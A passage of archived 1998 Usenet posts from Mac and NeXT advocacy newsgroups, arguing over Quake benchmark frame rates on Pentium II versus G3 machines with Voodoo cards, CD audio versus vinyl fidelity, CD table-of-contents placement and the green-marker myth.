>> Voodoo 1 card I am LUCKY to get 25 fps. Looks like the Intel box beats it
>> silly.
>
>Just a note here: You have a 6 MB Voodoo card, whereas the biggest Mac
>Voodoo card is 4 MB, which explains the discrepancy in speed. This is a
>limitation introduced by a third party, not by Apple or Macintosh designs.
>
>michael
>
>--
>"If you're bored, then you're boring"--Harvey Danger, Flagpole Sitta
>Michael M. Eilers * Fearful Symmetry Designs * e-mail in headers
From: "William Frisbee" <bfrisbee@fuckspam.webengine-db.com>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Mon, 17 Aug 1998 16:12:15 -0400
Organization: Shore.Net/Eco Software, Inc; (info@shore.net)
Message-ID: <6ra2ph$3ic@fridge.shore.net>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <joe.ragosta-1608980726050001@elk78.dol.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <35D86A7E.1F9CC660@asdl.cad.gatech.edu>
I have a Mitsubushi Diamond Scan 1010e it can do almost 150hz. That IS NOT
the issue...
Besides the same monitor is hooked to both systems via a A/B switch. I
cannot afford TWO of those monitors no matter how much I want to.
ASDL User <peterh@asdl.cad.gatech.edu> wrote in message
35D86A7E.1F9CC660@asdl.cad.gatech.edu...
>
>
>Stormer wrote:
>
>> >There are lots of benchmarks. Calling Jobs a liar because he chose >a
>> benchmark that you personally don't like is a pretty clear indication >of
>> your bias.
>>
>> There is NO accurate benchmark out there for comparing two COMPLETLY
>> different OS's. Hell if I play Quake on by Intel box with a Voodoo 1 card
>> I'm getting almost 90 fps in 800x600 mode. The same thing on the Mac with
a
>> Voodoo 1 card I am LUCKY to get 25 fps. Looks like the Intel box beats it
>> silly.
>>
>
>How fast does your monitor refresh. if you aren't getting better than 90 hz
in
>both horizontal and vertical refresh rate, then aa card doing 90fps, does
you
>no good, besides, the human eye can only pick out so many of those 90
frames
>
From: rbarris@quicksilver.com (Rob Barris)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Message-ID: <rbarris-ya023280001708981330570001@206.82.216.1>
References: <35d525ad.0@news.depaul.edu> <35D72295.1D53@bellatlantic.net> <edewExt5HI.JBz@netcom.com> <kindall-1608982232400001@nic-c41-094.mw.mediaone.net> <not-1708980019050001@ip-26-188.phx.primenet.com> <kindall-1708980438260001@nic-c41-094.mw.mediaone.net> <not-1708981054290001@ip-26-040.phx.primenet.com>
Organization: Quicksilver Software, Inc.
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-transfer-encoding: 8bit
Date: Mon, 17 Aug 1998 13:30:57 -0700
NNTP-Posting-Date: Mon, 17 Aug 1998 13:28:37 PDT
In article <not-1708981054290001@ip-26-040.phx.primenet.com>,
not@a.valid.email.add (Michael M. Eilers) wrote:
> In article <kindall-1708980438260001@nic-c41-094.mw.mediaone.net>,
> kindall@mail.manual.com (Jerry Kindall) wrote:
>
> > How would the CD be useless if you applied an opaque green marker on the
> > edge? (You don't cover the whole underside of the CD with green marker!
> > Eek. No, just the edges. You know, so your fingers turn green every time
> > you handle one.)
>
> The most vital track is the outside one--it tells the CD player how many
CD's start from the region closest to the hole.
That way you can have tiny CD's that play in the big player. The big
player doesn't know that the CD is any different physically since it finds
the TOC in the same place. (Coca Cola used to be giving out these little
2-inch CD's with their packaging, some kind of music promotion)
Burn a write-once CD with only 100MB on it and you will see what I mean.
The changed area is visibly contained close to the center hole.
Rob
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: 17 Aug 1998 20:23:46 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6ra3gi$auj$1@news.spacelab.net>
References: <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <35e6e291.28365146@news.calweb.com> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <Pine.LNX.3.96.980814171602.22434B-100000@paule> <6r2j1d$ilf$1@plo.sierra.com> <joe.ragosta-1408982111560001@elk41.dol.net> <35d6b28e.41487482@news.iafrica.com>
cquirke@iafrica.com wrote:
>On Fri, 14 Aug 1998 21:11:55 -0400, joe.ragosta@dol.net (Joe Ragosta)
>>In article <6r2j1d$ilf$1@plo.sierra.com>, "Earl Malmrose"
>
>>"CD quality" usually refers to something like 20-20,000 Hz at +/- 3 db or
>>so. The human ear usually can't hear below 20 or above 20,000 Hz. I could
>>dig out my old biology texts, but that's pretty well established fact.
>
>Yes it is, but we aren't talking full-amplitude sine waves here.
>40kHz sampling can sustain up to 20KHz audio, just as 600 dpi scanning
>can sustain 600 dpi printing. But whereas a graphic artist might
>prefer to scan at 1200 dpi if she intended printing out a magnified
>version, an audio artist might want to sample higher than 40kHz if she
>intended to play the sample back at a lower pitch.
Exactly what I said. If you want to do any kind of digital-domain
manipulation with the data stream, 16-bit audio is simply not adequate.
>Breaking the vertical levels of a complex waveform into 65535 steps
>might be acceptable if it is a full-amplitude wave, but what if it's
>only 10% of this maximum amplitude?
Remember the reconstruction filter-- contrary to popular opinion, the output
of a CD player is not broken into jaggy staircases with 65K steps, because
this filter removes the "sharp corners", which actually correspond to higher
frequencies than the Nyquist frequency.
>Yes, there's no hiss on CD, but the upper limit of dynamic range is
>absolute and sound gets "grainy" at the bottom end of those 16-bits.
Yes, although that is also mainly found in poorly mastered CD's produced
before quality dithering was well understood and implemented.
>Digital processing has progressed past gross time-shift
>echo/chorus/phase/flange/reverb effects to manipulating audio in
>real-time for spatial and other effects. All of these procedures
>involve generating new audio from existing *sampled* material, similar
>to resizing a bitmap in graphic editing.
>
>And if you have ever seen a 300 dpi bitmap re-sized to 302 dpi and
>then magnified to 4000 dpi, you will know that this is going to be
>very sensitive to source "resolution" quality heh heh...
Excellent point. To resample properly requires careful redithering,
anti-aliasing, smoothing, etc.
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: 17 Aug 1998 20:40:47 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6ra4gf$b4p$1@news.spacelab.net>
References: <gmgraves-1508982027520001@sf-usr1-46-174.dialup.slip.net>
gmgraves@slip.net (George Graves) wrote:
[ ... ]
>Don't be ridiculous. OF course they sound better in you living room on
>your vandersteens than they do on a pair of computer speakers. But
>they also sound better on a $500 rack system than they do on a
>$40,000 stereo. LPs, on the other hand, sound better on a $40,000
>stereo system than they do ona $500 rack system. I should know, I have
>a $40,000 stereo system.
You're welcome to your opinion that LP's sound better.
The vast majority of people do prefer some euphonic distortion rather than a
completely accurate reproduction, which is why LP's and tubes remain popular
with audiophiles who quest after that certain sound.
>> 16 bit, 44.1 KHz is adequate to reproduce an extremely wide dynamic range
>> and and the entire range of human hearing (in fact, far beyond most
>> adults' capabilities). Vinyl has a dynamic range of about 50 db, is
>> extremely susceptible to noise, and is degraded by repeated playbacks.
>> Also, it's very bulky and has a very limited playing time. No contest --
>> the CD wins.
>
>I already conceded that CDs have wider dynamic range than do records.
>but jesus, they sound like cartoons compared to good analog. No depth,
>no real imaging, poor ambience, steely, unnnatural top end. You can have
>the garbage (but I have to put up with them too. Homo the Sap has decided
>that CDs like PC/Windows is "good enough". Once again leaving those who
>demand excellence out in the cold).
It's possible to add some mild even-order distortion via a resonant filter
and some similar goodies in order to make a CD sound very much like the
euphonic distortion of LP.
However, 'unnatural' is not applicable, at least if you want 'natural' to
refer to "the original, live, source material". When good ol' Trent Resnor
wants to take your head off, the music is supposed to be steely, piercing,
etched, etc....
> Not enough low end information. Heck, "good" CDs have a small amount of
> noise injected, at very low levels to dither the two least significant
> bits. With out it, low level information on CDs just dries up and blows
> away.
The size of the dither is half the size of LSB, although the addition might
carry into the second (or farther) bit.
>As far as vinyl being worse than CDs, you are all wet. The fact that as
>equipment gets better and better we find more information in vinyl
>records some of which are over 40 years old.
Nonsense. Compare and contrast a -40 dB test tone on a CD and LP, for
instance. Which reproduction medium preserves more information again?
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: Jostein Johansen <jostein@chem.uit.no>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Mon, 17 Aug 1998 22:53:48 +0200
Organization: priv.
Message-ID: <35D8985C.5A31EAEC@chem.uit.no>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <joe.ragosta-1608980726050001@elk78.dol.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <not-1708981133190001@ip-26-040.phx.primenet.com> <6ra3hc$3no@fridge.shore.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
William Frisbee wrote:
>
> I made a mistake that should not be 800x600 it should be 640x480 because the
> Mac 4mb card could not do 800x600. Even 2 mb would not make that much of a
> difference in speed. Only the lack of a fast processor or a bad port to PPC
> could have done that. Just for notes
>
> The PC I used:
>
> Intel based P2 333MHz
> 128mb SDRAM (PC-100)
> Tyan Thunder 100 BX motherboard
> Matrox G200 16 mb video card
> Creative Labs Live! PCI sound
> Canopus Pure 3d Voodoo (I usually use a Creative Labs Voodoo2 12 mb but
> needed to used the Voodoo for better, more even comparisons)
> SCSI HDD and CD-ROM on a Adaptec 3940 UW2 controller.
>
> 640x480 no modifications to Quake FPS:89.5
Excuse me, but there is no way you could be getting 89.5 fps from the
Voodoo1 card in 640x480, its just plain impossible, the highest scores i
have seen is around 50-60 fps (or you have been using som tweaks that
nobody ever heard of before). But, with the Matrox G200 on the other
hand, it _might_ be possible. I found som numbers at
http://forums.matroxusers.com/reviews/g200vsv2.htm (~69.8 - ~80.6 Fps)
so i guess 89.5 is possible.
>
> G3 based at 300MHz
> 128 MB ram
> Apple motherboard
> Built in sound
> Built in Video (It is a ATI Rage card)
> SCSI drives and CD-ROM
> Techworks Power3d Voodoo
>
> 640x480 no mods Quake FPS 26.3
>
> Michael M. Eilers <not@a.valid.email.add> wrote in message
> not-1708981133190001@ip-26-040.phx.primenet.com...
> >In article <6r967u$a27$1@lwnws01.ne.highway1.com>, "Stormer"
> ><stormer@nospam.mediaone.net> wrote:
> >
> >> There is NO accurate benchmark out there for comparing two COMPLETLY
> >> different OS's. Hell if I play Quake on by Intel box with a Voodoo 1 card
> >> I'm getting almost 90 fps in 800x600 mode. The same thing on the Mac with
> a
> >> Voodoo 1 card I am LUCKY to get 25 fps. Looks like the Intel box beats it
> >> silly.
> >
> >Just a note here: You have a 6 MB Voodoo card, whereas the biggest Mac
> >Voodoo card is 4 MB, which explains the discrepancy in speed. This is a
> >limitation introduced by a third party, not by Apple or Macintosh designs.
> >
> >michael
> >
> >--
> >"If you're bored, then you're boring"--Harvey Danger, Flagpole Sitta
> >Michael M. Eilers * Fearful Symmetry Designs * e-mail in headers
--
___________________________ __ ______ __
Jostein A. Johansen /\ \ /\ __ \ /\ \
Email: Jostein@chem.uit.no _\_\ \\ \ __ \ _\_\ \
Tlf. +47 77671088 /\_____\\ \_\ \_\/\_____\
+47 77644067 \/_____/ \/_/\/_/\/_____/
From: p.kerr@auckland.ac.nz (Peter Kerr)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: Tue, 18 Aug 1998 08:57:34 +1200
Organization: University of Auckland
Message-ID: <p.kerr-1808980857340001@news.auckland.ac.nz>
References: <35d525ad.0@news.depaul.edu> <35D72295.1D53@bellatlantic.net> <edewExt5HI.JBz@netcom.com> <kindall-1608982232400001@nic-c41-094.mw.mediaone.net> <not-1708980019050001@ip-26-188.phx.primenet.com> <35d84257.0@news.depaul.edu> <gmgraves-1708981017380001@sf-usr1-49-177.dialup.slip.net>
gmgraves@slip.net (George Graves) wrote:
>Sorry, every CD uses an IR laser. If it were red, you would be able to
>see the laser with the top of the player removed. You can't. IR is
>invisable.
You can't see it with the top off the player because for safety reasons it
doesn't light up until there is a disc in place, and revolving. If you
then look carefully underneath the disc you can see the red light...
--
Peter Kerr bodger
School of Music chandler
University of Auckland New Zealand neo-Luddite
From: p.kerr@auckland.ac.nz (Peter Kerr)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: Tue, 18 Aug 1998 09:03:39 +1200
Organization: University of Auckland
Message-ID: <p.kerr-1808980903390001@news.auckland.ac.nz>
References: <35d525ad.0@news.depaul.edu> <35D72295.1D53@bellatlantic.net> <edewExt5HI.JBz@netcom.com> <kindall-1608982232400001@nic-c41-094.mw.mediaone.net> <not-1708980019050001@ip-26-188.phx.primenet.com> <kindall-1708980438260001@nic-c41-094.mw.mediaone.net> <not-1708981054290001@ip-26-040.phx.primenet.com>
not@a.valid.email.add (Michael M. Eilers) wrote:
>The most vital track is the outside one--it tells the CD player how many
>tracks to expect and the total time of the disc.
Pssst, inside.
>Bad design, if you ask
>me, since that is the track most likely to be scratched. I used to write
>music reviews for a local paper, and every once and a while I'd get a cd
>with a tiny nick taken out of the edge--the record companies used to *saw*
>a notch in the CD case to mark it as a reference copy (supposedly not to
>be sold, though I never was any trouble selling them) and sometimes the CD
>would get nicked. They would just spin and spin and not give any track
>information to the CD player, which would eventually give up and hand me
>the NO CD message. Try it out with an old Bangles CD (or perhaps Yanni) if
>you'd like--hit the outside edge with black permanent marker, or anything
>opaque will work.
Cutting a nick out will mechanically unbalance the disc, possibly to the
point where your player could not read the ToC on the inner tracks.
Scratching of the outer tracks is a common cause of discs playing up to
half or more of a disc then refusing to go any further.
More to the point for a comp.sys.* thread is to look at some of the
appalling magazine cover CDs where it mounts on the Desktop, you can read
all the directories, but the actual files may be unreadable...
--
Peter Kerr bodger
School of Music chandler
University of Auckland New Zealand neo-Luddite
From: nhughes@sunflower.com (nate)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Mon, 17 Aug 1998 21:09:10 GMT
Organization: KU
Message-ID: <35d89a10.3279908@198.0.0.100>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <joe.ragosta-1608980726050001@elk78.dol.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <35D864F5.8B4D58B9@inficad.com> <6ra2ld$3ag@fridge.shore.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 17 Aug 1998 21:12:42 GMT
On Mon, 17 Aug 1998 16:10:02 -0400, "William Frisbee"
<bfrisbee@fuckspam.webengine-db.com> wrote:
>>So these "newbies" you teach are AutoCAD users, too, huh? I know >some
>"experienced" PC owners that STILL can't figure out MS >Word!!
I spent a few hours giving a fellow grad student a few tips on Autocad
and she picked it right up. Granted, she isn't into dynamically
linking parts of her drawings to Excel spreadsheets yet, but she'll
get there soon enough.
When she first started with Autocad, she was pretty much a newbie.
--
Nathan A. Hughes
The University Theatre, KU
http://scenedesign.home.ml.org
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: 17 Aug 1998 21:05:52 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6ra5vg$b9h$1@news.spacelab.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <6r29nn$3oo$1@camel0.mindspring.com> <gmgraves-1408981630300001@sf-pm5-17-81.dialup.slip.net> <6r2tc6$rob$1@camel29.mindspring.com> <gmgraves-1408982206530001@sf-pm5-7-71.dialup.slip.net> <35d525ad.0@news.depaul.edu> <gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net> <6r5ha0$sic$1@camel25.mindspring.com> <35D72295.1D53@bellatlantic.net> <gmgraves-1608981325080001@sf-usr1-50-178.dialup.slip.net> <joe.ragosta-1608981658190001@elk59.dol.net> <uthant-1608982112340001@user-37kb9d4.dialup.mindspring.com> <joe.ragosta-1708980656280001@elk81.dol.net> <6ra04l$akc$1@news.spacelab.net> <joe.ragosta-1708981614510001@wil78.dol.net>
joe.ragosta@dol.net (Joe Ragosta) wrote:
>> joe.ragosta@dol.net (Joe Ragosta) wrote:
>> [ ...green pen... ]
>
> But how could a green pen change the sampling rate?
Not the sampling rate, but it might conceivably cause minor variants in the
precise time between samples. For the sake of argument, let's _assume_ that
this green pen does reduce the out-of-CD-edge reflections.
If so, then the photoreceptor will not see reflections before or after the
proper timing interval, and will be reading the bits more closely to the
correct interval, rather than with some time errors known as jitter. A CD
player (or transport) which does not appropriately reclock the data stream to
remove will have audible artifacts from jitter.
There is some room to believe that the earlier models of CD equipment didn't
understand the crucial importance of timing, which is why green pens _may_,
_hypothetically_, have made a difference years ago but no longer seem to have
any effect with modern, well-designed players.
Again, I have no opinion whether green pens actually make any difference
since I've never tried it out myself nor have I seen the results from
well-conducted experiments.
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: nhughes@sunflower.com (nate)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Mon, 17 Aug 1998 21:53:00 GMT
Organization: KU
Message-ID: <35dca5a9.6249889@198.0.0.100>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <zeno-1608980451300001@pm51-30.magicnet.net> <macghod-1608980221580001@sdn-ar-001casbarp256.dialsprint.net> <tonywong-1708980012540001@remote786.compusmart.ab.ca> <35dd70d1.38420203@198.0.0.100> <35D8A0C8.F8FF97DA@calvin.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 17 Aug 1998 21:56:31 GMT
On Mon, 17 Aug 1998 16:29:44 -0500, Kyle Adams <kadams54@calvin.edu>
wrote:
>nate wrote:
>
>> Quad Xeons have been shipping for a few weeks now.
>
> Tsk tsk tsk. Not according to an August 10th News.com article. Check it
>out at http://www.news.com/News/Item/0,4,25125,00.html and see for yourself.
Is this the pertinent quote you missed in the above mentioned article?
<q>
Both of these bugs have been repaired and four-way servers with a
400-MHz Xeon are shipping, according to Intel.
</q>
Tsk Tsk Tsk.
--
Nathan A. Hughes
The University Theatre, KU
http://scenedesign.home.ml.org
From: alex@webis.net (Alex Kac)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Mon, 17 Aug 1998 17:49:52 -0500
Organization: Web Information Solutions---Interactive and database web design studio
Message-ID: <alex-1708981749520001@castle.webis.net>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <joe.ragosta-1608980726050001@elk78.dol.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <not-1708981133190001@ip-26-040.phx.primenet.com>
NNTP-Posting-Date: 17 Aug 1998 22:49:24 GMT
In article <not-1708981133190001@ip-26-040.phx.primenet.com>,
not@a.valid.email.add (Michael M. Eilers) wrote:
: In article <6r967u$a27$1@lwnws01.ne.highway1.com>, "Stormer"
: <stormer@nospam.mediaone.net> wrote:
:
: > There is NO accurate benchmark out there for comparing two COMPLETLY
: > different OS's. Hell if I play Quake on by Intel box with a Voodoo 1 card
: > I'm getting almost 90 fps in 800x600 mode. The same thing on the Mac with a
: > Voodoo 1 card I am LUCKY to get 25 fps. Looks like the Intel box beats it
: > silly.
:
: Just a note here: You have a 6 MB Voodoo card, whereas the biggest Mac
: Voodoo card is 4 MB, which explains the discrepancy in speed. This is a
: limitation introduced by a third party, not by Apple or Macintosh designs.
:
: michael
:
Actually, VideoTronics sells a 8 or 12MB 3dfx card. And the now selling
VooDoo2 cards being sold have 8 or 12MB as well.
--
Alex Kac
Web Information Solutions CEO
Dynamic Business Publishing - Tango 3 Solution Provider
http://www.WebIS.net
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: 17 Aug 1998 22:39:57 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6rabft$bk9$1@news.spacelab.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <6r5ha0$sic$1@camel25.mindspring.com> <35D72295.1D53@bellatlantic.net> <gmgraves-1608981325080001@sf-usr1-50-178.dialup.slip.net> <joe.ragosta-1608981658190001@elk59.dol.net> <uthant-1608982112340001@user-37kb9d4.dialup.mindspring.com> <joe.ragosta-1708980656280001@elk81.dol.net> <6ra04l$akc$1@news.spacelab.net> <joe.ragosta-1708981614510001@wil78.dol.net> <6ra5vg$b9h$1@news.spacelab.net> <6ra8ca$3l4$1@ec.arbat.com>
Erik Corry <erik@arbat.com> wrote:
[ ... ]
>Do the maths! If it bounces back and forth four times in the
>CD then it has covered 0.25m, which at half the speed of light
>(inside the plastic) takes about 1.6 x 10^-9 s. A clock tick
>at 44kHz is about 2 x 10 -5s ie 10000 times longer. I may
>have got a few orders of magnitude wrong here (check if you
>care), but it won't change the conclusion. You cannot hear
>this unless your ears (and speakers) work in the megahertz
>frequencies.
The timing change would not be because a reflection was delayed by the amount of
time it took that light to bounce around inside the CD.
The photoreceptor outputs a continually varying voltage according to the amount of
light it receives in the frequencies it's sensitive to. Even a fairly low level of
ambient light would affect the timing somewhat, and this could matter if that
signal was not reclocked correctly. _If_ a timing change were to occur, it would
be because the extra ambient light delayed a transition from bright to dark
slightly, or made a dark to light transition happen a little earlier than it
should.
FWIW, the original CD specs defined the albedos at 90% and 10%, IIRC, but the new
CD-RW (and DVD-RW?) specs talk about a 60%/40% difference between the pits and the
lands.
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
References: <35d525ad.0@news.depaul.edu> <35D72295.1D53@bellatlantic.net> <edewExt5HI.JBz@netcom.com> <kindall-1608982232400001@nic-c41-094.mw.mediaone.net> <not-1708980019050001@ip-26-188.phx.primenet.com> <kindall-1708980438260001@nic-c41-094.mw.mediaone.net> <not-1708981054290001@ip-26-040.phx.primenet.com> <rbarris-ya023280001708981330570001@206.82.216.1>
Message-ID: <35d8b657.0@news.depaul.edu>
Date: 17 Aug 98 23:01:43 GMT
In comp.sys.next.advocacy Rob Barris <rbarris@quicksilver.com> wrote:
> That way you can have tiny CD's that play in the big player. The big
> player doesn't know that the CD is any different physically since it finds
> the TOC in the same place. (Coca Cola used to be giving out these little
> 2-inch CD's with their packaging, some kind of music promotion)
In last month's 'Fast Company' there was a photo of a rectangular
CD-ROM business card - basically a rectangle of polycarbonate with
a hole in the middle and info printed on one side, which you can
use in a CD-ROM drive.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: seanl@cs.umd.edu (Sean Luke)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD-quality sound (was: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!)
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Date: 17 Aug 1998 23:02:41 GMT
Organization: U of Maryland, Dept. of Computer Science, Coll. Pk., MD 20742
Message-ID: <6racqh$its$2@walter.cs.umd.edu>
References: <joe.ragosta-1408981927480001@elk72.dol.net> <Pine <joe.ragosta-1508980652460001@elk56.dol.net> <edewExt44K.Hq0@netcom.com>
NNTP-Posting-User: seanl
Eric Dew (edew@netcom.com) wrote:
: Joe Ragosta writes:
: >I used to laugh at all the CD players advertising their specs. They'd
: >fight over whether 20-20k +/- 0.5 db was better than 20-20k +/- 0.7 db. At
: >that point, it doesn't matter. Unless you've spent $10,000 on speakers,
: >the limiting factor is going to be your speakers.
: Or, they're forgetting to buy $75/ft speaker cables or the $3000 pre-amp.
Most studios have two pairs of speakers: big huge ones in the back that
boom a lot and impress the bigwigs when they want to hear what they paid
for, and small, almost consumer-grade, near field studio monitors that are
still reasonably flat but are closer to their intended audience. These
monitors cost between $250 and $1000, depending on the model. The most
common are Yamaha NS10s (but getting up in age now), but there are tons of
JBLs, Tascams, etc. out there. If you want to hear sound as the engineers
had arranged it, that's what you buy. I's what *they* used to define the
sound to begin with. And I guarantee you'll hate it -- not "interesting
enough". All $10,000 speakers _really_ do is distort the high and low end
frequency levels to make the sound sound more "exciting".
Sean Luke
sean@cs.umd.edu
From: not@a.valid.email.add (Michael M. Eilers)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Mon, 17 Aug 1998 16:32:48 -0700
Organization: Oh, I only wish
Message-ID: <not-1708981632490001@ip-26-106.phx.primenet.com>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <joe.ragosta-1608980726050001@elk78.dol.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <not-1708981133190001@ip-26-040.phx.primenet.com> <6ra3hc$3no@fridge.shore.net>
Mail-Copies-To: never
In article <6ra3hc$3no@fridge.shore.net>, "William Frisbee"
<bfrisbee@fuckspam.webengine-db.com> wrote:
> I made a mistake that should not be 800x600 it should be 640x480 because the
> Mac 4mb card could not do 800x600. Even 2 mb would not make that much of a
> difference in speed.
Not true at all. Quake uses texture buffering in a "fixed" RAM amount; a 6
MB card would allow GLQuake to hold all of the textures in the texture
RAM; a 4 MB card forces GLQuake to "swap" one chunk of textures for
another fairly frequently. 4mb vs 6 mb must be a dramatic improvement or
they wouldn't bother to manufacture the card in the first place.
>Only the lack of a fast processor or a bad port to PPC
> could have done that. Just for notes
Or poorly written 3Dfx drivers for the Mac, which is the culprit I prefer
to blame.
> The PC I used:
>
> Intel based P2 333MHz
> 128mb SDRAM (PC-100)
> Tyan Thunder 100 BX motherboard
> Matrox G200 16 mb video card
> Canopus Pure 3d Voodoo
Still a 6 MB card, not 4 MB.
> SCSI HDD and CD-ROM on a Adaptec 3940 UW2 controller.
>
> 640x480 no modifications to Quake FPS:89.5
I really don't want to call you a liar, so I'll call you an "exaggurator."
You can't get 89 fps out of Quake un-tweaked without a Voodoo2. The many
Quake benchmarking pages I've been to in the past put Quake 1 on a P2/300
at about 60 fps untweaked, 90 tweaked.
> G3 based at 300MHz
> 128 MB ram
> Apple motherboard
> Built in sound
> Built in Video (It is a ATI Rage card)
> SCSI drives and CD-ROM
> Techworks Power3d Voodoo
>
> 640x480 no mods Quake FPS 26.3
With tweaks I can easily run the above at 58+ fps, darn close to 60.
My conclusions?
The port of Quake to the macintosh was fairly lousy, in terms of speed.
The Mac version does the sound in software, doesn't use hardware
double-buffering, and GLQuake seems hampered by bad drivers (only released
once, never updated, don't support most "tweaks"). Software-rendered Quake
on the Mac is comparable to PC speed with a little more consistency than
